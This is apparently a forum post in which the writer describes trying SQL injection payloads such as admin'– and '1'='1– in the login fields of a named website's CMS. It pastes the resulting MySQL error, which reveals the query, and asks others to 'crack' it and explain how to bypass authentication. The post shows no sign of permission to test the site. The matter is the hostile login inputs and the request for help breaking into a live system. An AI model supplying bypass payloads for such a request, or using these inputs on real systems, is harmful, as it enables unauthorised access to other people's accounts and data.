i the following website

http://www.abcde.com/cms/scrip…../index.php

when i tried

uname = admin'–
pname = admin'–

then

uname = '1'='1–
pname = '1'='1–

i got the same error below:

[ Error: ] Executing Query "SELECT userpwd,userid,username,urid FROM users WHERE username='admin' –'"
[ Error Description: ] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

any body can crack and highlight any advice on this error and how i can by pass the authentication